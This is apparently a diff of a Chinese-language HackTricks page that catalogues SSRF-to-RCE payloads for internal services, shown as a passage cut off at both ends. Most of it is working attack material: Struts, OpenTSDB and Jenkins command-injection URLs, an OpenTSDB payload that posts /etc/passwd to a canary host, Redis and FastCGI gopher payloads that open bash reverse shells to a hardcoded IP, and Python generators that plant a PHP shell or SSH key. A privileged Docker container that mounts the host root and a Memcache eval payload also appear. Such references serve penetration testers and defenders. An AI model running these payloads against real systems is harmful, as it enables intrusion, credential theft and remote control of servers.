Host: vulnerablehost:7001
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: zh-CN,zh;q=0.9
|
|
||||||
Connection: close
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 117
|
|
||||||
|
|
||||||
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
|
|
||||||
```
|
|
||||||
## Hashicorp Consul
|
|
||||||
|
|
||||||
**常见绑定端口:8500, 8501 (SSL)**
|
|
||||||
|
|
||||||
相关的写作可以在[这里](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html)找到。
|
|
||||||
|
|
||||||
## Shellshock
|
|
||||||
|
|
||||||
**常见绑定端口:80, 443 (SSL), 8080**
|
|
||||||
|
|
||||||
为了有效测试Shellshock,你可能需要添加包含有效载荷的头部。以下CGI路径值得尝试:
|
|
||||||
|
|
||||||
测试CGI路径的简短列表:
|
|
||||||
|
|
||||||
[包含路径的Gist](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4)。
|
|
||||||
|
|
||||||
**SSRF Canary: 通过用户代理的Shellshock**
|
|
||||||
```bash
|
|
||||||
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
|
|
||||||
```
|
|
||||||
## Apache Druid
|
|
||||||
|
|
||||||
**常见绑定端口:80, 8080, 8888, 8082**
|
|
||||||
|
|
||||||
参考Apache Druid的API文档[这里](https://druid.apache.org/docs/latest/operations/api-reference.html)。
|
|
||||||
|
|
||||||
如果你可以查看状态码,请检查以下路径,看它们是否返回200状态码:
|
|
||||||
```bash
|
|
||||||
/status/selfDiscovered/status
|
|
||||||
/druid/coordinator/v1/leader
|
|
||||||
/druid/coordinator/v1/metadata/datasources
|
|
||||||
/druid/indexer/v1/taskStatus
|
|
||||||
```
|
|
||||||
关闭任务,需要您猜测任务ID或数据源名称:
|
|
||||||
```bash
|
|
||||||
/druid/indexer/v1/task/{taskId}/shutdown
|
|
||||||
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
|
|
||||||
```
|
|
||||||
关闭 Apache Druid Overlords 上的关闭监督器:
|
|
||||||
```bash
|
|
||||||
/druid/indexer/v1/supervisor/terminateAll
|
|
||||||
/druid/indexer/v1/supervisor/{supervisorId}/shutdown
|
|
||||||
```
|
|
||||||
## Apache Solr
|
|
||||||
|
|
||||||
**常用绑定端口:8983**
|
|
||||||
|
|
||||||
**SSRF Canary:Shards 参数**
|
|
||||||
|
|
||||||
> 补充一下 shubham 所说的 - 扫描 solr 相对容易。存在一个 shards= 参数,允许你进行 SSRF 到 SSRF 的跳转,以便盲目确认你是否触及了 solr 实例。
|
|
||||||
>
|
|
||||||
> — Хавиж Наффи 🥕 (@nnwakelam) [2021年1月13日](https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw)
|
|
||||||
|
|
||||||
摘自[此处](https://github.com/veracode-research/solr-injection)。
|
|
||||||
```bash
|
|
||||||
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
|
|
||||||
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
|
|
||||||
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
|
|
||||||
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
|
|
||||||
```
|
|
||||||
**SSRF Canary: Solr XXE (2017)**
|
|
||||||
|
|
||||||
[Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
|
|
||||||
```bash
|
|
||||||
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
|
|
||||||
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
|
|
||||||
```
|
|
||||||
**通过 dataImportHandler 实现 RCE**
|
|
||||||
|
|
||||||
[通过 dataImportHandler 实现 RCE 的研究](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
|
|
||||||
|
|
||||||
## PeopleSoft
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL)**
|
|
||||||
|
|
||||||
取自此项研究 [此处](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
|
|
||||||
|
|
||||||
**SSRF Canary: XXE #1**
|
|
||||||
```http
|
|
||||||
POST /PSIGW/HttpListeningConnector HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/xml
|
|
||||||
...
|
|
||||||
|
|
||||||
<?xml version="1.0"?>
|
|
||||||
<!DOCTYPE IBRequest [
|
|
||||||
<!ENTITY x SYSTEM "http://SSRF_CANARY">
|
|
||||||
]>
|
|
||||||
<IBRequest>
|
|
||||||
<ExternalOperationName>&x;</ExternalOperationName>
|
|
||||||
<OperationType/>
|
|
||||||
<From><RequestingNode/>
|
|
||||||
<Password/>
|
|
||||||
<OrigUser/>
|
|
||||||
<OrigNode/>
|
|
||||||
<OrigProcess/>
|
|
||||||
<OrigTimeStamp/>
|
|
||||||
</From>
|
|
||||||
<To>
|
|
||||||
<FinalDestination/>
|
|
||||||
<DestinationNode/>
|
|
||||||
<SubChannel/>
|
|
||||||
</To>
|
|
||||||
<ContentSections>
|
|
||||||
<ContentSection>
|
|
||||||
<NonRepudiation/>
|
|
||||||
<MessageVersion/>
|
|
||||||
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
|
|
||||||
</Data>
|
|
||||||
</ContentSection>
|
|
||||||
</ContentSections>
|
|
||||||
</IBRequest>
|
|
||||||
```
|
|
||||||
**SSRF Canary:XXE #2**
|
|
||||||
```http
|
|
||||||
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/xml
|
|
||||||
...
|
|
||||||
|
|
||||||
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
|
|
||||||
```
|
|
||||||
## Apache Struts
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
摘自[此处](https://blog.safebuff.com/2016/07/03/SSRF-Tips/)。
|
|
||||||
|
|
||||||
**SSRF Canary: Struts2-016**:
|
|
||||||
|
|
||||||
将此内容追加到您所知的每个内部端点/URL的末尾:
|
|
||||||
```http
|
|
||||||
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
|
|
||||||
```
|
|
||||||
## JBoss
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
摘自[此处](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
|
|
||||||
|
|
||||||
**SSRF Canary:从URL部署WAR**
|
|
||||||
```bash
|
|
||||||
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
|
|
||||||
```
|
|
||||||
## Confluence
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary:Sharelinks(2016年11月及更早发布的Confluence版本)**
|
|
||||||
```bash
|
|
||||||
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
|
|
||||||
```
|
|
||||||
**SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)**
|
|
||||||
|
|
||||||
[Atlassian 安全票据 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
## Jira
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
|
|
||||||
|
|
||||||
[Atlassian 安全票据 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
**SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)**
|
|
||||||
|
|
||||||
[Atlassian 安全票据 JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
|
|
||||||
```
|
|
||||||
## 其他 Atlassian 产品
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
**SSRF Canary:iconUriServlet (CVE-2017-9506)**:
|
|
||||||
|
|
||||||
* Bamboo < 6.0.0
|
|
||||||
* Bitbucket < 4.14.4
|
|
||||||
* Crowd < 2.11.2
|
|
||||||
* Crucible < 4.3.2
|
|
||||||
* Fisheye < 4.3.2
|
|
||||||
|
|
||||||
[Atlassian 安全工单 OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
|
|
||||||
```bash
|
|
||||||
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
|
|
||||||
```
|
|
||||||
## OpenTSDB
|
|
||||||
|
|
||||||
**常见绑定端口:4242**
|
|
||||||
|
|
||||||
[OpenTSDB 远程代码执行](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
|
|
||||||
|
|
||||||
**SSRF Canary:通过 RCE 的 curl**
|
|
||||||
```bash
|
|
||||||
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
|
|
||||||
```
|
|
||||||
[OpenTSDB 2.4.0 远程代码执行](https://github.com/OpenTSDB/opentsdb/issues/2051)
|
|
||||||
|
|
||||||
**SSRF Canary: 通过 RCE 的 curl - CVE-2020-35476**
|
|
||||||
```bash
|
|
||||||
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
|
|
||||||
```
|
|
||||||
## Jenkins
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8888**
|
|
||||||
|
|
||||||
优秀的文章 [这里](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html)。
|
|
||||||
|
|
||||||
**SSRF Canary:CVE-2018-1000600**
|
|
||||||
```bash
|
|
||||||
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
|
|
||||||
```
|
|
||||||
**RCE**
|
|
||||||
|
|
||||||
按照这里的指示通过GET实现RCE:[Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
|
|
||||||
```bash
|
|
||||||
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
|
|
||||||
```
|
|
||||||
**通过Groovy实现RCE**
|
|
||||||
```
|
|
||||||
cmd = 'curl burp_collab'
|
|
||||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
|
||||||
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
|
|
||||||
```
|
|
||||||
## Hystrix 仪表板
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080**
|
|
||||||
|
|
||||||
Spring Cloud Netflix,版本 2.2.x 在 2.2.4 之前,版本 2.1.x 在 2.1.6 之前。
|
|
||||||
|
|
||||||
**SSRF Canary:CVE-2020-5412**
|
|
||||||
```bash
|
|
||||||
/proxy.stream?origin=http://SSRF_CANARY/
|
|
||||||
```
|
|
||||||
## W3 Total Cache
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL)**
|
|
||||||
|
|
||||||
W3 Total Cache 0.9.2.6-0.9.3
|
|
||||||
|
|
||||||
**SSRF Canary:CVE-2019-6715**
|
|
||||||
|
|
||||||
这需要是一个PUT请求:
|
|
||||||
```bash
|
|
||||||
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
|
|
||||||
Host: {{Hostname}}
|
|
||||||
Accept: */*
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
|
|
||||||
Content-Length: 124
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
|
|
||||||
```
|
|
||||||
**SSRF Canary**
|
|
||||||
|
|
||||||
此漏洞的通告在此发布:[W3 Total Cache SSRF 漏洞](https://klikki.fi/adv/w3\_total\_cache.html)
|
|
||||||
|
|
||||||
以下 PHP 代码将为您的 SSRF Canary 主机生成有效载荷(将 `url` 替换为您的 canary 主机):
|
|
||||||
```php
|
|
||||||
<?php
|
|
||||||
|
|
||||||
$url='http://www.google.com';
|
|
||||||
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
|
|
||||||
$file=chop($file,'=');
|
|
||||||
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
|
|
||||||
echo($req);
|
|
||||||
|
|
||||||
?>
|
|
||||||
```
|
|
||||||
## Docker
|
|
||||||
|
|
||||||
**常见绑定端口:2375、2376(SSL)**
|
|
||||||
|
|
||||||
如果你遇到部分盲目的SSRF,你可以使用以下路径来验证Docker API的存在:
|
|
||||||
```bash
|
|
||||||
/containers/json
|
|
||||||
/secrets
|
|
||||||
/services
|
|
||||||
```
|
|
||||||
**通过运行任意 Docker 镜像实现 RCE**
|
|
||||||
```http
|
|
||||||
POST /containers/create?name=test HTTP/1.1
|
|
||||||
Host: website.com
|
|
||||||
Content-Type: application/json
|
|
||||||
...
|
|
||||||
|
|
||||||
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
|
|
||||||
```
|
|
||||||
将 alpine 替换为您希望 docker 容器运行的任意镜像。
|
|
||||||
|
|
||||||
## Gitlab Prometheus Redis Exporter
|
|
||||||
|
|
||||||
**通常绑定的端口:9121**
|
|
||||||
|
|
||||||
此漏洞影响 Gitlab 13.1.1 版本之前的实例。根据 [Gitlab 文档](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `从 GitLab 9.0 开始,默认启用 Prometheus 及其导出器。`
|
|
||||||
|
|
||||||
这些导出器为攻击者提供了一个极佳的方法,可以利用 CVE-2020-13379 转而攻击其他服务。其中一个容易被利用的导出器是 Redis Exporter。
|
|
||||||
|
|
||||||
以下端点将允许攻击者通过 target 参数转储 redis 服务器中的所有键:
|
|
||||||
```bash
|
|
||||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
|
||||||
```
|
|
||||||
***
|
|
||||||
|
|
||||||
**通过 Gopher 可能**
|
|
||||||
|
|
||||||
## Redis
|
|
||||||
|
|
||||||
**通常绑定端口:6379**
|
|
||||||
|
|
||||||
推荐阅读:
|
|
||||||
|
|
||||||
* [尝试通过 HTTP 请求攻击 Redis](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
|
||||||
* [针对 Redis 的 SSRF 攻击](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
|
||||||
|
|
||||||
**通过 Cron 实现 RCE** - [Gopher 攻击面](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
|
||||||
```bash
|
|
||||||
redis-cli -h $1 flushall
|
|
||||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
|
||||||
redis-cli -h $1 config set dir /var/spool/cron/
|
|
||||||
redis-cli -h $1 config set dbfilename root
|
|
||||||
redis-cli -h $1 save
|
|
||||||
```
|
|
||||||
Gopher:
|
|
||||||
```bash
|
|
||||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
|
||||||
```
|
|
||||||
**RCE 通过 Shell 上传 (PHP)** - [Redis Getshell 概要](https://www.mdeditor.tw/pl/pBy0)
|
|
||||||
```python
|
|
||||||
#!/usr/bin/env python
|
|
||||||
# -*-coding:utf-8-*-
|
|
||||||
|
|
||||||
import urllib
|
|
||||||
protocol="gopher://"
|
|
||||||
ip="192.168.189.208"
|
|
||||||
port="6379"
|
|
||||||
shell="\n\n<?php phpinfo();?>\n\n"
|
|
||||||
filename="shell.php"
|
|
||||||
path="/var"
|
|
||||||
passwd=""
|
|
||||||
|
|
||||||
cmd=["flushall",
|
|
||||||
"set 1 {}".format(shell.replace(" ","${IFS}")),
|
|
||||||
"config set dir {}".format(path),
|
|
||||||
"config set dbfilename {}".format(filename),
|
|
||||||
"save"
|
|
||||||
]
|
|
||||||
if passwd:
|
|
||||||
cmd.insert(0,"AUTH {}".format(passwd))
|
|
||||||
payload=protocol+ip+":"+port+"/_"
|
|
||||||
def redis_format(arr):
|
|
||||||
CRLF="\r\n"
|
|
||||||
redis_arr = arr.split(" ")
|
|
||||||
cmd=""
|
|
||||||
cmd+="*"+str(len(redis_arr))
|
|
||||||
for x in redis_arr:
|
|
||||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
|
||||||
cmd+=CRLF
|
|
||||||
return cmd
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
for x in cmd:
|
|
||||||
payload += urllib.quote(redis_format(x))
|
|
||||||
print payload
|
|
||||||
```
|
|
||||||
**RCE 通过 authorized_keys** - [Redis Getshell 总结](https://www.mdeditor.tw/pl/pBy0)
|
|
||||||
```python
|
|
||||||
import urllib
|
|
||||||
protocol="gopher://"
|
|
||||||
ip="192.168.189.208"
|
|
||||||
port="6379"
|
|
||||||
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
|
|
||||||
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
|
|
||||||
filename="authorized_keys"
|
|
||||||
path="/root/.ssh/"
|
|
||||||
passwd=""
|
|
||||||
cmd=["flushall",
|
|
||||||
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
|
|
||||||
"config set dir {}".format(path),
|
|
||||||
"config set dbfilename {}".format(filename),
|
|
||||||
"save"
|
|
||||||
]
|
|
||||||
if passwd:
|
|
||||||
cmd.insert(0,"AUTH {}".format(passwd))
|
|
||||||
payload=protocol+ip+":"+port+"/_"
|
|
||||||
def redis_format(arr):
|
|
||||||
CRLF="\r\n"
|
|
||||||
redis_arr = arr.split(" ")
|
|
||||||
cmd=""
|
|
||||||
cmd+="*"+str(len(redis_arr))
|
|
||||||
for x in redis_arr:
|
|
||||||
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
|
|
||||||
cmd+=CRLF
|
|
||||||
return cmd
|
|
||||||
|
|
||||||
if __name__=="__main__":
|
|
||||||
for x in cmd:
|
|
||||||
payload += urllib.quote(redis_format(x))
|
|
||||||
print payload
|
|
||||||
```
|
|
||||||
**通过 Git 协议在 GitLab 上实现 RCE**
|
|
||||||
|
|
||||||
来自 Liveoverflow 的精彩文章[在此](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)。
|
|
||||||
|
|
||||||
虽然这需要对 GitLab 的认证访问才能利用,但我在这里包含了有效载荷,因为 `git` 协议可能适用于您正在攻击的目标。此有效载荷仅供参考。
|
|
||||||
```bash
|
|
||||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
|
||||||
```
|
|
||||||
## Memcache
|
|
||||||
|
|
||||||
**常见绑定端口:11211**
|
|
||||||
|
|
||||||
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
|
|
||||||
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
|
|
||||||
* [Memcache 的 Gopher 负载示例](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
|
|
||||||
```bash
|
|
||||||
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
|
|
||||||
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
|
|
||||||
```
|
|
||||||
## Apache Tomcat
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL),8080,8443 (SSL)**
|
|
||||||
|
|
||||||
仅对 Tomcat 6 有效:
|
|
||||||
|
|
||||||
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
|
|
||||||
|
|
||||||
使用此技术的 CTF 写法:
|
|
||||||
|
|
||||||
[从 XXE 到 RCE:Pwn2Win CTF 2018 写法](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
|
|
||||||
|
|
||||||
## FastCGI
|
|
||||||
|
|
||||||
**常见绑定端口:80,443 (SSL)**
|
|
||||||
|
|
||||||
此内容摘自[此处](https://blog.chaitin.cn/gopher-attack-surfaces/)。
|
|
||||||
```bash
|
|
||||||
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
|
|
||||||
```
|
|
||||||
## Java RMI
|
|
||||||
|
|
||||||
**常见绑定端口:1090,1098,1099,1199,4443-4446,8999-9010,9999**
|
|
||||||
|
|
||||||
允许任意字节(基于_gopher_)的盲目_SSRF_漏洞可以用来对_Java RMI_默认组件(_RMI Registry_、_Distributed Garbage Collector_、_Activation System_)进行反序列化或代码库攻击。详细的写作可以在[这里](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)找到。以下列表显示了一个用于生成有效载荷的示例:
|
|
||||||
```
|
|
||||||
$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
|
|
||||||
[+] Creating ysoserial payload... done.
|
|
||||||
[+]
|
|
||||||
[+] Attempting deserialization attack on RMI Registry endpoint...
|
|
||||||
[+]
|
|
||||||
[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
|
|
||||||
```
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,17 +2,17 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
